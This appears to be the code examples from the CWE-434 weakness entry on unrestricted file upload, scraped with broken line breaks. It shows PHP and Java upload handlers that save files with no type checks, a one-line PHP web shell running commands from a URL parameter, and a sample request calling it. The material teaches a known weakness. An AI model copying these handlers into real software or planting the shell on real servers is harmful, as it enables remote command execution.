CWE-434: Unrestricted Upload of File with Dangerous Type

<form action="upload_picture.php" method="post" enctype="multipart/form-data">
                     Choose a file to upload:<input type="file" name="filename"/><br/><input type="submit" name="submit" value="Submit"/>
                     </form>

// Define the target location where the picture being
                     
                     
                     // uploaded is going to be saved.
                     $target = "pictures/" . basename($_FILES['uploadedfile']['name']);
                     
                     // Move the uploaded file to the new location.
                     if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){echo "The picture has been successfully uploaded.";}else{echo "There was an error uploading the picture, please try again.";}

malicious.php

<?phpsystem($_GET['cmd']);
                     ?>

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
                     Choose a file to upload:<input type="file" name="filename"/><br/><input type="submit" name="submit" value="Submit"/>
                     </form>

public class FileUploadServlet extends HttpServlet {
                     
                        ...
                           protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
                           
                              response.setContentType("text/html");PrintWriter out = response.getWriter();String contentType = request.getContentType();
                                 // the starting position of the boundary headerint ind = contentType.indexOf("boundary=");String boundary = contentType.substring(ind+9);
                                 String pLine = new String();String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
                                 // verify that content type is multipart form dataif (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
                                 
                                    // extract the filename from the Http headerBufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));...pLine = br.readLine();String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));...
                                       // output the file to the local upload directorytry {
                                          BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));for (String line; (line=br.readLine())!=null; ) {if (line.indexOf(boundary) == -1) {bw.write(line);bw.newLine();bw.flush();}} //end of for loopbw.close();
                                       
                                       
                                       } catch (IOException ex) {...}// output successful upload response HTML page
                                 }// output unsuccessful upload response HTML pageelse{...}
                           }...
                        
                     }